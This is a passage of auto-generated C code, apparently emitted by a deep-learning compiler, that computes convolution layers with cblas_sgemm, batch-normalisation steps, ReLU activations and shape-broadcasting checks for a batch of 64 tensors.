false;\n}\nbool x2196;\nif (x2195) {\nx2196 = x2194;\n} else {\nx2196 = false;\n}\nif (x2196) {\n} else {\nprintf(\"dimensions not compatible for broadcasting %d,%d,%d,%d, with %d,%d,%d,%d,\\n\",64,x2115,x2117,x2117,1,x2185,1,1);\nassert(false && \"\");\n}\nbool x2202 = x2115 <= x2185;\nint32_t x2203;\nif (x2202) {\nx2203 = x2185;\n} else {\nx2203 = x2115;\n}\nint32_t x2212 = x2203 * x2211;\nint32_t x2213 = 64 * x2212;\nfloat* x2214 = (float*)myMalloc(x2213 * sizeof(float));;\nint32_t x2215;\nif (x2186) {\nx2215 = 0;\n} else {\nx2215 = x2123;\n}\nint32_t x2218;\nif (x2187) {\nx2218 = 0;\n} else {\nx2218 = 1;\n}\nfor(int x2219=0; x2219 < 64; x2219++) {\nint32_t x2231 = x2124 * x2219;\nint32_t x2225 = x2212 * x2219;\nfor(int x2221=0; x2221 < x2203; x2221++) {\nint32_t x2232 = x2215 * x2221;\nint32_t x2233 = x2231 + x2232;\nint32_t x2238 = x2218 * x2221;\nint32_t x2227 = x2211 * x2221;\nfor(int x2223=0; x2223 < x2205; x2223++) {\nint32_t x2234 = x2216 * x2223;\nint32_t x2235 = x2233 + x2234;\nint32_t x2229 = x2205 * x2223;\nfor(int x2224=0; x2224 < x2205; x2224++) {\nint32_t x2236 = x2217 * x2224;\nint32_t x2237 = x2235 + x2236;\nfloat x2239 = x2126[x2237];\nfloat x2240 = x126[x2238];\nint32_t x2226 = x2224 + x2225;\nint32_t x2228 = x2226 + x2227;\nint32_t x2230 = x2228 + x2229;\nfloat x2241 = x2239 + x2240;\nx2214[x2230] = x2241;\n\n}\n\n}\n\n}\n\n}\nfloat* x2255 = (float*)myMalloc(x2254 * sizeof(float));;\nfloat* x2256 = (float*)myMalloc(x930 * sizeof(float));;\nfor(int x2257=0; x2257 < 64; x2257++) {\nint32_t x2258 = x2257 * x820;\nfloat* x2259 = x825+x2258;\nint32_t x2260 = x2257 * x2251;\nfloat* x2261 = x2255+x2260;\nint32_t x2262 = x2257 * x928;\nfloat* x2263 = x2256+x2262;\nfor(int x2264=0; x2264 < x749; x2264++) {\nint32_t x2265 = x2264 / 1;\nint32_t x2269 = x2265 * x921;\nint32_t x2270 = x2269 * x921;\nint32_t x2266 = x2264 % 1;\nint32_t x2267 = x2266 / 1;\nint32_t x2271 = x2267 * x921;\nint32_t x2272 = x2271 * x921;\nint32_t x2273 = x2270 + x2272;\nint32_t x2268 = x2266 % 1;\nint32_t x2274 = x2268 * x921;\nint32_t x2275 = x2274 * x921;\nint32_t x2276 = x2273 + x2275;\nfloat* x2277 = x2263+x2276;\nint32_t x2278 = x2265 * x818;\nint32_t x2279 = x2278 * x818;\nfloat* x2280 = x2259+x2279;\nfor(int x2281=0; x2281 < x921; x2281++) {\nint32_t x2283 = x2281 * x921;\nfloat* x2284 = x2277+x2283;\nint32_t x2282 = x2281 + x2267;\nint32_t x2285 = x2282 * x818;\nint32_t x2286 = x2285 + x2268;\nfloat* x2287 = x2280+x2286;\nmemcpy(x2284, x2287, 4 * x921);;\n\n}\n\n}\ncblas_sgemm(CblasRowMajor, CblasNoTrans, CblasNoTrans, 256,x922,x749,1,x162,x749,x2263,x922,1,x2261,x922);\n\n}\nint32_t x2296 = 0;\nint32_t x2297 = 1;\nx2297 *= 1;\nx2296 += 1;\nx2297 *= 1;\nx2297 *= 1;\nint32_t x2302 = x2296;\nbool x2303 = x2302 >= 2;\nif (x2303) {\nprintf(\"cannot have 2 or more -1s in resize!!\\n\");\nassert(false && \"\");\n} else {\n}\nbool x2308 = x2302 == 0;\nif (x2308) {\nint32_t x2309 = x2297;\nbool x2310 = x2309 == 256;\nif (x2310) {\n} else {\nassert(false && \"must same size!!\");\n}\n} else {\n}\nint32_t x2317 = x2297;\nint32_t x2318 = 256 / x2317;\nbool x2319 = x2318 == 1;\nbool x2322;\nif (x454) {\nbool x2320 = 256 == x2318;\nbool x2321 = x2319 || x2320;\nx2322 = x2321;\n} else {\nx2322 = false;\n}\nbool x2323;\nif (x2322) {\nx2323 = x1001;\n} else {\nx2323 = false;\n}\nbool x2324;\nif (x2323) {\nx2324 = x1001;\n} else {\nx2324 = false;\n}\nif (x2324) {\n} else {\nprintf(\"dimensions not compatible for broadcasting %d,%d,%d,%d, with %d,%d,%d,%d,\\n\",64,256,x921,x921,1,x2318,1,1);\nassert(false && \"\");\n}\nbool x2330 = 256 <= x2318;\nint32_t x2331;\nif (x2330) {\nx2331 = x2318;\n} else {\nx2331 = 256;\n}\nint32_t x2336 = x2331 * x1018;\nint32_t x2337 = 64 * x2336;\nfloat* x2338 = (float*)myMalloc(x2337 * sizeof(float));;\nint32_t x2339;\nif (x2319) {\nx2339 = 0;\n} else {\nx2339 = 1;\n}\nfor(int x2340=0; x2340 < 64; x2340++) {\nint32_t x2351 = x2251 * x2340;\nint32_t x2345 = x2336 * x2340;\nfor(int x2342=0; x2342 < x2331; x2342++) {\nint32_t x2352 = x922 * x2342;\nint32_t x2353 = x2351 + x2352;\nint32_t x2358 = x2339 * x2342;\nint32_t x2347 = x1018 * x2342;\nfor(int x2343=0; x2343 < x1012; x2343++) {\nint32_t x2354 = x1022 * x2343;\nint32_t x2355 = x2353 + x2354;\nint32_t x2349 = x1012 * x2343;\nfor(int x2344=0; x2344 < x1012; x2344++) {\nint32_t x2356 = x1023 * x2344;\nint32_t x2357 = x2355 + x2356;\nfloat x2359 = x2255[x2357];\nfloat x2360 = x264[x2358];\nint32_t x2346 = x2344 + x2345;\nint32_t x2348 = x2346 + x2347;\nint32_t x2350 = x2348 + x2349;\nfloat x2361 = x2359 - x2360;\nx2338[x2350] = x2361;\n\n}\n\n}\n\n}\n\n}\nfloat* x2371 = (float*)myMalloc(256 * sizeof(float));;\nfor(int x2372=0; x2372 < 256; x2372++) {\nfloat x2373 = x243[x2372];\nfloat x2374 = x2373 + 1.0E-5f;\nx2371[x2372] = x2374;\n\n}\nfloat* x2378 = (float*)myMalloc(256 * sizeof(float));;\nfor(int x2379=0; x2379 < 256; x2379++) {\nfloat x2380 = x2371[x2379];\ndouble x2381 = (double)x2380;\ndouble x2382 = sqrt(x2381);\nfloat x2383 = (float)x2382;\nx2378[x2379] = x2383;\n\n}\nint32_t x2387 = 0;\nint32_t x2388 = 1;\nx2388 *= 1;\nx2387 += 1;\nx2388 *= 1;\nx2388 *= 1;\nint32_t x2393 = x2387;\nbool x2394 = x2393 >= 2;\nif (x2394) {\nprintf(\"cannot have 2 or more -1s in resize!!\\n\");\nassert(false && \"\");\n} else {\n}\nbool x2399 = x2393 == 0;\nif (x2399) {\nint32_t x2400 = x2388;\nbool x2401 = x2400 == 256;\nif (x2401) {\n} else {\nassert(false && \"must same size!!\");\n}\n} else {\n}\nint32_t x2408 = x2388;\nbool x2410 = x2331 == 1;\nint32_t x2409 = 256 / x2408;\nbool x2411 = x2409 == 1;\nbool x2415;\nif (x454) {\nbool x2412 = x2410 || x2411;\nbool x2413 = x2331 == x2409;\nbool x2414 = x2412 || x2413;\nx2415 = x2414;\n} else {\nx2415 = false;\n}\nbool x2416;\nif (x2415) {\nx2416 = x1104;\n} else {\nx2416 = false;\n}\nbool x2417;\nif (x2416) {\nx2417 = x1104;\n} else {\nx2417 = false;\n}\nif (x2417) {\n} else {\nprintf(\"dimensions not compatible for broadcasting %d,%d,%d,%d, with %d,%d,%d,%d,\\n\",64,x2331,x1012,x1012,1,x2409,1,1);\nassert(false && \"\");\n}\nbool x2423 = x2331 <= x2409;\nint32_t x2424;\nif (x2423) {\nx2424 = x2409;\n} else {\nx2424 = x2331;\n}\nint32_t x2429 = x2424 * x1121;\nint32_t x2430 = 64 * x2429;\nfloat* x2431 = (float*)myMalloc(x2430 * sizeof(float));;\nint32_t x2432;\nif (x2410) {\nx2432 = 0;\n} else {\nx2432 = x1018;\n}\nint32_t x2433;\nif (x2411) {\nx2433 = 0;\n} else {\nx2433 = 1;\n}\nfor(int x2434=0; x2434 < 64; x2434++) {\nint32_t x2445 = x2336 * x2434;\nint32_t x2439 = x2429 * x2434;\nfor(int x2436=0; x2436 < x2424; x2436++) {\nint32_t x2446 = x2432 * x2436;\nint32_t x2447 = x2445 + x2446;\nint32_t x2452 = x2433 * x2436;\nint32_t x2441 = x1121 * x2436;\nfor(int x2437=0; x2437 < x1115; x2437++) {\nint32_t x2448 = x1126 * x2437;\nint32_t x2449 = x2447 + x2448;\nint32_t x2443 = x1115 * x2437;\nfor(int x2438=0; x2438 < x1115; x2438++) {\nint32_t x2450 = x1127 * x2438;\nint32_t x2451 = x2449 + x2450;\nfloat x2453 = x2338[x2451];\nfloat x2454 = x2378[x2452];\nint32_t x2440 = x2438 + x2439;\nint32_t x2442 = x2440 + x2441;\nint32_t x2444 = x2442 + x2443;\nfloat x2455 = x2453 / x2454;\nx2431[x2444] = x2455;\n\n}\n\n}\n\n}\n\n}\nint32_t x2465 = 0;\nint32_t x2466 = 1;\nx2466 *= 1;\nx2465 += 1;\nx2466 *= 1;\nx2466 *= 1;\nint32_t x2471 = x2465;\nbool x2472 = x2471 >= 2;\nif (x2472) {\nprintf(\"cannot have 2 or more -1s in resize!!\\n\");\nassert(false && \"\");\n} else {\n}\nbool x2477 = x2471 == 0;\nif (x2477) {\nint32_t x2478 = x2466;\nbool x2479 = x2478 == 256;\nif (x2479) {\n} else {\nassert(false && \"must same size!!\");\n}\n} else {\n}\nint32_t x2486 = x2466;\nbool x2488 = x2424 == 1;\nint32_t x2487 = 256 / x2486;\nbool x2489 = x2487 == 1;\nbool x2493;\nif (x454) {\nbool x2490 = x2488 || x2489;\nbool x2491 = x2424 == x2487;\nbool x2492 = x2490 || x2491;\nx2493 = x2492;\n} else {\nx2493 = false;\n}\nbool x2494;\nif (x2493) {\nx2494 = x1192;\n} else {\nx2494 = false;\n}\nbool x2495;\nif (x2494) {\nx2495 = x1192;\n} else {\nx2495 = false;\n}\nif (x2495) {\n} else {\nprintf(\"dimensions not compatible for broadcasting %d,%d,%d,%d, with %d,%d,%d,%d,\\n\",64,x2424,x1115,x1115,1,x2487,1,1);\nassert(false && \"\");\n}\nbool x2501 = x2424 <= x2487;\nint32_t x2502;\nif (x2501) {\nx2502 = x2487;\n} else {\nx2502 = x2424;\n}\nint32_t x2507 = x2502 * x1209;\nint32_t x2508 = 64 * x2507;\nfloat* x2509 = (float*)myMalloc(x2508 * sizeof(float));;\nint32_t x2510;\nif (x2488) {\nx2510 = 0;\n} else {\nx2510 = x1121;\n}\nint32_t x2511;\nif (x2489) {\nx2511 = 0;\n} else {\nx2511 = 1;\n}\nfor(int x2512=0; x2512 < 64; x2512++) {\nint32_t x2523 = x2429 * x2512;\nint32_t x2517 = x2507 * x2512;\nfor(int x2514=0; x2514 < x2502; x2514++) {\nint32_t x2524 = x2510 * x2514;\nint32_t x2525 = x2523 + x2524;\nint32_t x2530 = x2511 * x2514;\nint32_t x2519 = x1209 * x2514;\nfor(int x2515=0; x2515 < x1203; x2515++) {\nint32_t x2526 = x1214 * x2515;\nint32_t x2527 = x2525 + x2526;\nint32_t x2521 = x1203 * x2515;\nfor(int x2516=0; x2516 < x1203; x2516++) {\nint32_t x2528 = x1215 * x2516;\nint32_t x2529 = x2527 + x2528;\nfloat x2531 = x2431[x2529];\nfloat x2532 = x76[x2530];\nint32_t x2518 = x2516 + x2517;\nint32_t x2520 = x2518 + x2519;\nint32_t x2522 = x2520 + x2521;\nfloat x2533 = x2531 * x2532;\nx2509[x2522] = x2533;\n\n}\n\n}\n\n}\n\n}\nint32_t x2543 = 0;\nint32_t x2544 = 1;\nx2544 *= 1;\nx2543 += 1;\nx2544 *= 1;\nx2544 *= 1;\nint32_t x2549 = x2543;\nbool x2550 = x2549 >= 2;\nif (x2550) {\nprintf(\"cannot have 2 or more -1s in resize!!\\n\");\nassert(false && \"\");\n} else {\n}\nbool x2555 = x2549 == 0;\nif (x2555) {\nint32_t x2556 = x2544;\nbool x2557 = x2556 == 256;\nif (x2557) {\n} else {\nassert(false && \"must same size!!\");\n}\n} else {\n}\nint32_t x2564 = x2544;\nbool x2566 = x2502 == 1;\nint32_t x2565 = 256 / x2564;\nbool x2567 = x2565 == 1;\nbool x2571;\nif (x454) {\nbool x2568 = x2566 || x2567;\nbool x2569 = x2502 == x2565;\nbool x2570 = x2568 || x2569;\nx2571 = x2570;\n} else {\nx2571 = false;\n}\nbool x2572;\nif (x2571) {\nx2572 = x1280;\n} else {\nx2572 = false;\n}\nbool x2573;\nif (x2572) {\nx2573 = x1280;\n} else {\nx2573 = false;\n}\nif (x2573) {\n} else {\nprintf(\"dimensions not compatible for broadcasting %d,%d,%d,%d, with %d,%d,%d,%d,\\n\",64,x2502,x1203,x1203,1,x2565,1,1);\nassert(false && \"\");\n}\nbool x2579 = x2502 <= x2565;\nint32_t x2580;\nif (x2579) {\nx2580 = x2565;\n} else {\nx2580 = x2502;\n}\nint32_t x2585 = x2580 * x1297;\nint32_t x2586 = 64 * x2585;\nfloat* x2587 = (float*)myMalloc(x2586 * sizeof(float));;\nint32_t x2588;\nif (x2566) {\nx2588 = 0;\n} else {\nx2588 = x1209;\n}\nint32_t x2589;\nif (x2567) {\nx2589 = 0;\n} else {\nx2589 = 1;\n}\nfor(int x2590=0; x2590 < 64; x2590++) {\nint32_t x2601 = x2507 * x2590;\nint32_t x2595 = x2585 * x2590;\nfor(int x2592=0; x2592 < x2580; x2592++) {\nint32_t x2602 = x2588 * x2592;\nint32_t x2603 = x2601 + x2602;\nint32_t x2608 = x2589 * x2592;\nint32_t x2597 = x1297 * x2592;\nfor(int x2593=0; x2593 < x1291; x2593++) {\nint32_t x2604 = x1302 * x2593;\nint32_t x2605 = x2603 + x2604;\nint32_t x2599 = x1291 * x2593;\nfor(int x2594=0; x2594 < x1291; x2594++) {\nint32_t x2606 = x1303 * x2594;\nint32_t x2607 = x2605 + x2606;\nfloat x2609 = x2509[x2607];\nfloat x2610 = x203[x2608];\nint32_t x2596 = x2594 + x2595;\nint32_t x2598 = x2596 + x2597;\nint32_t x2600 = x2598 + x2599;\nfloat x2611 = x2609 + x2610;\nx2587[x2600] = x2611;\n\n}\n\n}\n\n}\n\n}\nbool x2621 = x2203 == 1;\nbool x2622 = x2580 == 1;\nbool x2623 = x2621 || x2622;\nbool x2624 = x2203 == x2580;\nbool x2625 = x2623 || x2624;\nbool x2631;\nif (x2625) {\nx2631 = x2630;\n} else {\nx2631 = false;\n}\nbool x2632;\nif (x2631) {\nx2632 = x2630;\n} else {\nx2632 = false;\n}\nif (x2632) {\n} else {\nprintf(\"dimensions not compatible for broadcasting %d,%d,%d,%d, with %d,%d,%d,%d,\\n\",64,x2203,x2205,x2205,64,x2580,x1291,x1291);\nassert(false && \"\");\n}\nbool x2638 = x2203 <= x2580;\nint32_t x2639;\nif (x2638) {\nx2639 = x2580;\n} else {\nx2639 = x2203;\n}\nint32_t x2655;\nif (x2621) {\nx2655 = 0;\n} else {\nx2655 = x2211;\n}\nint32_t x2658;\nif (x2622) {\nx2658 = 0;\n} else {\nx2658 = x1297;\n}\nfor(int x2661=0; x2661 < 64; x2661++) {\nint32_t x2667 = x2212 * x2661;\nint32_t x2674 = x2585 * x2661;\nfor(int x2663=0; x2663 < x2639; x2663++) {\nint32_t x2668 = x2655 * x2663;\nint32_t x2669 = x2667 + x2668;\nint32_t x2675 = x2658 * x2663;\nint32_t x2676 = x2674 + x2675;\nfor(int x2665=0; x2665 < x2641; x2665++) {\nint32_t x2670 = x2656 * x2665;\nint32_t x2671 = x2669 + x2670;\nint32_t x2677 = x2659 * x2665;\nint32_t x2678 = x2676 + x2677;\nfor(int x2666=0; x2666 < x2641; x2666++) {\nint32_t x2672 = x2657 * x2666;\nint32_t x2673 = x2671 + x2672;\nfloat x2681 = x2214[x2673];\nint32_t x2679 = x2660 * x2666;\nint32_t x2680 = x2678 + x2679;\nfloat x2682 = x2587[x2680];\nfloat x2683 = x2681 + x2682;\nx2214[x2673] = x2683;\n\n}\n\n}\n\n}\n\n}\nfloat* x2693 = (float*)myMalloc(x2213 * sizeof(float));;\nfor(int x2695=0; x2695 < x2213; x2695++) {\nfloat x2696 = x2214[x2695];\nbool x2697 = x2696 < 0.0f;\nif (x2697) {\nx2693[x2695] = 0.0f;\n} else {\nfloat x2700 = x2214[x2695];\nx2693[x2695] = x2700;\n}\n\n}\nfloat* x2714 = (float*)myMalloc(x2713 * sizeof(float));;\nint32_t x2717 = 64 * x2203;\nint32_t x2718 = x2717 * x2709;\nfloat* x2719 = (float*)myMalloc(x2718 * sizeof(float));;\nint32_t x2715 = x2203 * x2709;\nfor(int x2720=0; x2720 < 64; x2720++) {\nint32_t x2721 = x2720 * x2212;\nfloat* x2722 = x2693+x2721;\nint32_t x2723 = x2720 * x2710;\nfloat* x2724 = x2714+x2723;\nint32_t x2725 = x2720 * x2715;\nfloat* x2726 = x2719+x2725;\nfor(int x2727=0; x2727 < x2203; x2727++) {\nint32_t x2728 = x2727 / 1;\nint32_t x2732 = x2728 * x2708;\nint32_t x2733 = x2732 * x2708;\nint32_t x2729 = x2727 % 1;\nint32_t x2730 = x2729 / 1;\nint32_t x2734 = x2730 * x2708;\nint32_t x2735 = x2734 * x2708;\nint32_t x2736 = x2733 + x2735;\nint32_t x2731 = x2729 % 1;\nint32_t x2737 = x2731 * x2708;\nint32_t x2738 = x2737 * x2708;\nint32_t x2739 = x2736 + x2738;\nfloat* x2740 = x2726+x2739;\nint32_t x2741 = x2728 * x2205;\nint32_t x2742 = x2741 * x2205;\nfloat* x2743 = x2722+x2742;\nfor(int x2745=0; x2745 < x2708; x2745++) {\nint32_t x2747 = x2745 * x2708;\nfloat* x2748 = x2740+x2747;\nint32_t x2746 = x2745 + x2730;\nint32_t x2749 = x2746 * x2205;\nint32_t x2750 = x2749 + x2731;\nfloat* x2751 = x2743+x2750;\nmemcpy(x2748, x2751, 4 * x2708);;\n\n}\n\n}\ncblas_sgemm(CblasRowMajor, CblasNoTrans, CblasNoTrans, 64,x2709,x2203,1,x171,x2203,x2726,x2709,1,x2724,x2709);\n\n}\nint32_t x2760 = 0;\nint32_t x2761 = 1;\nx2761 *= 1;\nx2760 += 1;\nx2761 *= 1;\nx2761 *= 1;\nint32_t x2766 = x2760;\nbool x2767 = x2766 >= 2;\nif (x2767) {\nprintf(\"cannot have 2 or more -1s in resize!!\\n\");\nassert(false && \"\");\n} else {\n}\nbool x2772 = x2766 == 0;\nif (x2772) {\nint32_t x2773 = x2761;\nbool x2774 = x2773 == 64;\nif (x2774) {\n} else {\nassert(false && \"must same size!!\");\n}\n} else {\n}\nint32_t x2781 = x2761;\nint32_t x2782 = 64 / x2781;\nbool x2783 = x2782 == 1;\nbool x2786;\nif (x454) {\nbool x2784 = 64 == x2782;\nbool x2785 = x2783 || x2784;\nx2786 = x2785;\n} else {\nx2786 = false;\n}\nbool x2790;\nif (x2786) {\nx2790 = x2789;\n} else {\nx2790 = false;\n}\nbool x2791;\nif (x2790) {\nx2791 = x2789;\n} else {\nx2791 = false;\n}\nif (x2791) {\n} else {\nprintf(\"dimensions not compatible for broadcasting %d,%d,%d,%d, with %d,%d,%d,%d,\\n\",64,64,x2708,x2708,1,x2782,1,1);\nassert(false && \"\");\n}\nbool x2797 = 64 <= x2782;\nint32_t x2798;\nif (x2797) {\nx2798 = x2782;\n} else {\nx2798 = 64;\n}\nint32_t x2807 = x2798 * x2806;\nint32_t x2808 = 64 * x2807;\nfloat* x2809 = (float*)myMalloc(x2808 * sizeof(float));;\nint32_t x2812;\nif (x2783) {\nx2812 = 0;\n} else {\nx2812 = 1;\n}\nfor(int x2813=0; x2813 < 64; x2813++) {\nint32_t x2825 = x2710 * x2813;\nint32_t x2819 = x2807 * x2813;\nfor(int x2815=0; x2815 < x2798; x2815++) {\nint32_t x2826 = x2709 * x2815;\nint32_t x2827 = x2825 + x2826;\nint32_t x2832 = x2812 * x2815;\nint32_t x2821 = x2806 * x2815;\nfor(int x2817=0; x2817 < x2800; x2817++) {\nint32_t x2828 = x2810 * x2817;\nint32_t x2829 = x2827 + x2828;\nint32_t x2823 = x2800 * x2817;\nfor(int x2818=0; x2818 < x2800; x2818++) {\nint32_t x2830 = x2811 * x2818;\nint32_t x2831 = x2829 + x2830;\nfloat x2833 = x2714[x2831];\nfloat x2834 = x10[x2832];\nint32_t x2820 = x2818 + x2819;\nint32_t x2822 = x2820 + x2821;\nint32_t x2824 = x2822 + x2823;\nfloat x2835 = x2833 - x2834;\nx2809[x2824] = x2835;\n\n}\n\n}\n\n}\n\n}\nfloat* x2845 = (float*)myMalloc(64 * sizeof(float));;\nfor(int x2846=0; x2846 < 64; x2846++) {\nfloat x2847 = x102[x2846];\nfloat x2848 = x2847 + 1.0E-5f;\nx2845[x2846] = x2848;\n\n}\nfloat* x2852 = (float*)myMalloc(64 * sizeof(float));;\nfor(int x2853=0; x2853 < 64; x2853++) {\nfloat x2854 = x2845[x2853];\ndouble x2855 = (double)x2854;\ndouble x2856 = sqrt(x2855);\nfloat x2857 = (float)x2856;\nx2852[x2853] = x2857;\n\n}\nint32_t x2861 = 0;\nint32_t x2862 = 1;\nx2862 *= 1;\nx2861 += 1;\nx2862 *= 1;\nx2862 *= 1;\nint32_t x2867 = x2861;\nbool x2868 = x2867 >= 2;\nif (x2868) {\nprintf(\"cannot have 2 or more -1s in resize!!\\n\");\nassert(false && \"\");\n} else {\n}\nbool x2873 = x2867 == 0;\nif (x2873) {\nint32_t x2874 = x2862;\nbool x2875 = x2874 == 64;\nif (x2875) {\n} else {\nassert(false && \"must same size!!\");\n}\n} else {\n}\nint32_t x2882 = x2862;\nbool x2884 = x2798 == 1;\nint32_t x2883 = 64 / x2882;\nbool x2885 = x2883 == 1;\nbool x2889;\nif (x454) {\nbool x2886 = x2884 || x2885;\nbool x2887 = x2798 == x2883;\nbool x2888 = x2886 || x2887;\nx2889 = x2888;\n} else {\nx2889 = false;\n}\nbool x2893;\nif (x2889) {\nx2893 = x2892;\n} else {\nx2893 = false;\n}\nbool x2894;\nif (x2893) {\nx2894 = x2892;\n} else {\nx2894 = false;\n}\nif (x2894) {\n} else {\nprintf(\"dimensions not compatible for broadcasting %d,%d,%d,%d, with %d,%d,%d,%d,\\n\",64,x2798,x2800,x2800,1,x2883,1,1);\nassert(false && \"\");\n}\nbool x2900 = x2798 <= x2883;\nint32_t x2901;\nif (x2900) {\nx2901 = x2883;\n} else {\nx2901 = x2798;\n}\nint32_t x2910 = x2901 * x2909;\nint32_t x2911 = 64 * x2910;\nfloat* x2912 = (float*)myMalloc(x2911 * sizeof(float));;\nint32_t x2913;\nif (x2884) {\nx2913 = 0;\n} else {\nx2913 = x2806;\n}\nint32_t x2916;\nif (x2885) {\nx2916 = 0;\n} else {\nx2916 = 1;\n}\nfor(int x2917=0; x2917 < 64; x2917++) {\nint32_t x2929 = x2807 * x2917;\nint32_t x2923 = x2910 * x2917;\nfor(int x2919=0; x2919 < x2901; x2919++) {\nint32_t x2930 = x2913 * x2919;\nint32_t x2931 = x2929 + x2930;\nint32_t x2936 = x2916 * x2919;\nint32_t x2925 = x2909 * x2919;\nfor(int x2921=0; x2921 < x2903; x2921++) {\nint32_t x2932 = x2914 * x2921;\nint32_t x2933 = x2931 + x2932;\nint32_t x2927 = x2903 * x2921;\nfor(int x2922=0; x2922 < x2903; x2922++) {\nint32_t x2934 = x2915 * x2922;\nint32_t x2935 = x2933 + x2934;\nfloat x2937 = x2809[x2935];\nfloat x2938 = x2852[x2936];\nint32_t x2924 = x2922 + x2923;\nint32_t x2926 = x2924 + x2925;\nint32_t x2928 = x2926 + x2927;\nfloat x2939 = x2937 / x2938;\nx2912[x2928] = x2939;\n\n}\n\n}\n\n}\n\n}\nint32_t x2949 = 0;\nint32_t x2950 = 1;\nx2950 *= 1;\nx2949 += 1;\nx2950 *= 1;\nx2950 *= 1;\nint32_t x2955 = x2949;\nbool x2956 = x2955 >= 2;\nif (x2956) {\nprintf(\"cannot have 2 or more -1s in resize!!\\n\");\nassert(false && \"\");\n} else {\n}\nbool x2961 = x2955 == 0;\nif (x2961) {\nint32_t x2962 = x2950;\nbool x2963 = x2962 == 64;\nif (x2963) {\n} else {\nassert(false && \"must same size!!\");\n}\n} else {\n}\nint32_t x2970 = x2950;\nbool x2972 = x2901 == 1;\nint32_t x2971 = 64 / x2970;\nbool x2973 = x2971 == 1;\nbool x2977;\nif (x454) {\nbool x2974 = x2972 || x2973;\nbool x2975 = x2901 == x2971;\nbool x2976 = x2974 || x2975;\nx2977 = x2976;\n} else {\nx2977 = false;\n}\nbool x2981;\nif (x2977) {\nx2981 = x2980;\n} else {\nx2981 = false;\n}\nbool x2982;\nif (x2981) {\nx2982 = x2980;\n} else {\nx2982 = false;\n}\nif (x2982) {\n} else {\nprintf(\"dimensions not compatible for broadcasting %d,%d,%d,%d, with %d,%d,%d,%d,\\n\",64,x2901,x2903,x2903,1,x2971,1,1);\nassert(false && \"\");\n}\nbool x2988 = x2901 <= x2971;\nint32_t x2989;\nif (x2988) {\nx2989 = x2971;\n} else {\nx2989 = x2901;\n}\nint32_t x2998 = x2989 * x2997;\nint32_t x2999 = 64 * x2998;\nfloat* x3000 = (float*)myMalloc(x2999 * sizeof(float));;\nint32_t x3001;\nif (x2972) {\nx3001 = 0;\n} else {\nx3001 = x2909;\n}\nint32_t x3004;\nif (x2973) {\nx3004 = 0;\n} else {\nx3004 = 1;\n}\nfor(int x3005=0; x3005 < 64; x3005++) {\nint32_t x3017 = x2910 * x3005;\nint32_t x3011 = x2998 * x3005;\nfor(int x3007=0; x3007 < x2989; x3007++) {\nint32_t x3018 = x3001 * x3007;\nint32_t x3019 = x3017 + x3018;\nint32_t x3024 = x3004 * x3007;\nint32_t x3013 = x2997 * x3007;\nfor(int x3009=0; x3009 < x2991; x3009++) {\nint32_t x3020 = x3002 * x3009;\nint32_t x3021 = x3019 + x3020;\nint32_t x3015 = x2991 * x3009;\nfor(int x3010=0; x3010 < x2991; x3010++) {\nint32_t x3022 = x3003 * x3010;\nint32_t x3023 = x3021 + x3022;\nfloat x3025 = x2912[x3023];\nfloat x3026 = x142[x3024];\nint32_t x3012 = x3010 + x3011;\nint32_t x3014 = x3012 + x3013;\nint32_t x3016 = x3014 + x3015;\nfloat x3027 = x3025 * x3026;\nx3000[x3016] = x3027;\n\n}\n\n}\n\n}\n\n}\nint32_t x3037 = 0;\nint32_t x3038 = 1;\nx3038 *= 1;\nx3037 += 1;\nx3038 *= 1;\nx3038 *= 1;\nint32_t x3043 = x3037;\nbool x3044 = x3043 >= 2;\nif (x3044) {\nprintf(\"cannot have 2 or more -1s in resize!!\\n\");\nassert(false && \"\");\n} else {\n}\nbool x3049 = x3043 == 0;\nif (x3049) {\nint32_t x3050 = x3038;\nbool x3051 = x3050 == 64;\nif (x3051) {\n} else {\nassert(false && \"must same size!!\");\n}\n} else {\n}\nint32_t x3058 = x3038;\nbool x3060 = x2989 == 1;\nint32_t x3059 = 64 / x3058;\nbool x3061 = x3059 == 1;\nbool x3065;\nif (x454) {\nbool x3062 = x3060 || x3061;\nbool x3063 = x2989 == x3059;\nbool x3064 = x3062 || x3063;\nx3065 = x3064;\n} else {\nx3065 = false;\n}\nbool x3069;\nif (x3065) {\nx3069 = x3068;\n} else {\nx3069 = false;\n}\nbool x3070;\nif (x3069) {\nx3070 = x3068;\n} else {\nx3070 = false;\n}\nif (x3070) {\n} else {\nprintf(\"dimensions not compatible for broadcasting %d,%d,%d,%d, with %d,%d,%d,%d,\\n\",64,x2989,x2991,x2991,1,x3059,1,1);\nassert(false && \"\");\n}\nbool x3076 = x2989 <= x3059;\nint32_t x3077;\nif (x3076) {\nx3077 = x3059;\n} else {\nx3077 = x2989;\n}\nint32_t x3086 = x3077 * x3085;\nint32_t x3087 = 64 * x3086;\nfloat* x3088 = (float*)myMalloc(x3087 * sizeof(float));;\nint32_t x3089;\nif (x3060) {\nx3089 = 0;\n} else {\nx3089 = x2997;\n}\nint32_t x3092;\nif (x3061) {\nx3092 = 0;\n} else {\nx3092 = 1;\n}\nfor(int x3093=0; x3093 < 64; x3093++) {\nint32_t x3105 = x2998 * x3093;\nint32_t x3099 = x3086 * x3093;\nfor(int x3095=0; x3095 < x3077; x3095++) {\nint32_t x3106 = x3089 * x3095;\nint32_t x3107 = x3105 + x3106;\nint32_t x3112 = x3092 * x3095;\nint32_t x3101 = x3085 * x3095;\nfor(int x3097=0; x3097 < x3079; x3097++) {\nint32_t x3108 = x3090 * x3097;\nint32_t x3109 = x3107 + x3108;\nint32_t x3103 = x3079 * x3097;\nfor(int x3098=0; x3098 < x3079; x3098++) {\nint32_t x3110 = x3091 * x3098;\nint32_t x3111 = x3109 + x3110;\nfloat x3113 = x3000[x3111];\nfloat x3114 = x60[x3112];\nint32_t x3100 = x3098 + x3099;\nint32_t x3102 = x3100 + x3101;\nint32_t x3104 = x3102 + x3103;\nfloat x3115 = x3113 + x3114;\nx3088[x3104] = x3115;\n\n}\n\n}\n\n}\n\n}\nfloat* x3125 = (float*)myMalloc(x3087 * sizeof(float));;\nfor(int x3127=0; x3127 < x3087; x3127++) {\nfloat x3128 = x3088[x3127];\nbool x3129 = x3128 < 0.0f;\nif (x3129) {\nx3125[x3127] = 0.0f;\n} else {\nfloat x3132 = x3088[x3127];\nx3125[x3127] = x3132;\n}\n\n}\nfloat* x3147 = (float*)myMalloc(x3146 * sizeof(float));;\nint32_t x3148 = 9 * x3077;\nint32_t x3151 = 64 * x3148;\nint32_t x3152 = x3151 * x3142;\nfloat* x3153 = (float*)myMalloc(x3152 * sizeof(float));;\nint32_t x3149 = x3148 * x3142;\nint32_t x3161 = x3077 * 3;\nint32_t x3162 = 